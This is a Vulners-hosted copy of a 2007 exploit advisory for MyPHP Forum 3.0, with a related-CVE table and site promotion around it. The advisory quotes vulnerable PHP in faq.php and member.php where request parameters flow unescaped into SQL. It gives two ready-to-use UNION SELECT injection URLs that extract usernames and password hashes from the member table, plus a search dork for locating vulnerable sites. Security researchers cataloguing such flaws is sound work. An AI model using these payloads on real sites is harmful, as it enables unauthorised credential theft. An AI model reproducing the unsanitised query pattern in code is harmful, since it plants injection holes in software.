Lucene search
+L

MyPHP Forum 3.0 (Final) - Multiple SQL Injections (SQLi)

🗓️ 31 Dec 2007 00:00:00Reported by x0ksterType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 80 Views

MyPHP Forum 3.0 - Multiple Remote SQL Injectio

Related
Code
ReporterTitlePublishedViews
Family
attackerkb
attackerkb
CVE-2007-6667
4 Jan 200811:46
–attackerkb
cve
CVE
CVE-2005-0413
14 Feb 200505:00
–cve
cve
CVE
CVE-2007-6667
4 Jan 200811:00
–cve
cvelist
Cvelist
CVE-2005-0413
14 Feb 200505:00
–cvelist
cvelist
Cvelist
CVE-2007-6667
4 Jan 200811:00
–cvelist
exploitdb
Exploit DB
MyPHP Forum 1.0 - 'member' SQL Injection (SQLi)
10 Feb 200500:00
–exploitdb
euvd
EUVD
EUVD-2005-0414
7 Oct 202500:30
–euvd
euvd
EUVD
EUVD-2007-6632
7 Oct 202500:30
–euvd
nvd
NVD
CVE-2005-0413
27 Apr 200504:00
–nvd
nvd
NVD
CVE-2007-6667
4 Jan 200811:46
–nvd
Rows per page
Name            :  MyPHP Forum <= 3.0 (Final) Multiple Remote SQL Injection Vulnerability
Author          :  x0kster
Email           :  [email protected]
Site            :  ihteam.net
Script Download :  http://www.myphp.ws/
Date            :  31/12/2007
Dork            :  "Powered by: MyPHP Forum"

Note:
For work, magic_quotes_gpc must be turned off on the server.
Usally the table prefix is 'nb'.



Sql injection in faq.php

   <?php
    //faq.php
    [...]
    $id = $_GET['id'];
    if($action == "view" && !empty($id)) {
	$result = mysql_query("SELECT * from $db_faq WHERE id='$id'") or die(mysql_error()); // <-- So miss a control :-D
	$row = mysql_fetch_array($result);
	$row[answer] = postify($row[answer]);
    [...]
   ?>

So we can execute an sql injection thrught the bugged variable $id.

PoC:

http://Site/faq.php?action=view&id=-1'+union+select+1,concat(username,0x3a,password),3+from+{table_prefix}_member+where+uid=1/*




Sql injection in member.php

   <?php
    //member.php
   [...]
    if($action == "viewpro") {
	$member = $HTTP_GET_VARS['member'];
	$query = mysql_query("SELECT * FROM $db_member WHERE username='$member'") or die(mysql_error());
   [...]
   ?>

So $member variable isn't controlled so we can exploit it.

PoC:

http://Site/member.php?action=viewpro&member=-1'+union+select+1,2,3,4,5,6,7,8,9,concat(username,0x3a,password),11,12,13,14,15,16,17,18,19,20,21,22+from+{table_prefix}_member+where+uid=1/*

# milw0rm.com [2007-12-31]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

23 Nov 2026 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 27.5
EPSS0.02103
80